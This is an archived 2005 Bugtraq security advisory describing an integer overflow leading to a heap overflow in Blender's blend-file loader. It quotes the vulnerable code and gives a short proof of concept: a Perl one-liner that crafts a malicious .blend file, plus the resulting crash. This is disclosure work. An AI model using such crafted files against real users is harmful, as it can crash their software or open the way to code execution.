bugtraq - [Overflow.pl] Blender BlenLoader Integer Overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20051220171349.46038711.pucik@overflow.pl>
Date: Tue, 20 Dec 2005 17:13:49 +0100
From: Damian Put <pucik@...rflow.pl>
To: bugtraq@...urityfocus.com
Subject: [Overflow.pl] Blender BlenLoader Integer Overflow

Overflow.pl Security Advisory #4

Blender BlenLoader Integer Overflow

Vendor: Blender (http://www.blender.org)
Affected version: 2.x up to and including 2.40pre
Vendor status: Notified. No patch available.

Author: Damian Put <pucik@...rflow.pl>
URL: http://www.overflow.pl/adv/blenderinteger.txt
Date: 20.12.2005

1. Background

Blender is the open source software for 3D modeling, animation, rendering,
post-production, interactive creation and playback. Available for all major
operating systems under the GNU Public License.

http://www.blender.org

2. Description

Remote exploitation of an integer overflow vulnerability could allow execution
of arbitrary code or cause denial of service.

An integer overflow leading to heap overflow, exists in get_bhead() function,
that is used to read blend file structure. It is part of BlenLoader.

The vulnerable code is:

source/blender/blenloader/intern/readfile.c:

static BHeadN *get_bhead(FileData *fd)
{
      BHead8 bhead8;
      BHead4 bhead4;
      BHead  bhead;
      BHeadN *new_bhead = 0;
      int readsize;
...
      if ( ! fd->eof) {
            new_bhead = MEM_mallocN(sizeof(BHeadN) + bhead.len, "new_bhead");
            if (new_bhead) {
                  new_bhead->next = new_bhead->prev = 0;
                  new_bhead->bhead = bhead;
                  readsize = fd->read(fd, new_bhead + 1, bhead.len);

                  if (readsize != bhead.len) {
                        fd->eof = 1;
                        MEM_freeN(new_bhead);
                  }
            } else {
                  fd->eof = 1;
            }
      }
...
      return(new_bhead);
}

We can manipulate with bhead.len value, because it read from blend file.
Allocation of memory for new_bhead is based on bhead.len variable (MEM_mallocN()
call). If value of "bhead.len" is for example -16, we allocate only 12 bytes of
memory (-16 + sizeof(BHeadN)). In next part of execution it can lead to heap
overflow many times.

3. PoC

Example crafted blend file:

[root@...rflow]# perl -e 'print "BLENDER_v273"; print "\xf0\xff\xff\xff"x10' >
vuln.blend

Now we must only load crafted file with blender:

[root@...rflow]# blender vuln.blend
Using Python version 2.4
Memoryblock new_bhead: end corrupt
Memoryblock new_bhead: end corrupt
*** glibc detected *** malloc(): memory corruption: 0x0875eae8 ***
Abort (core dumped)
[root@...rflow]#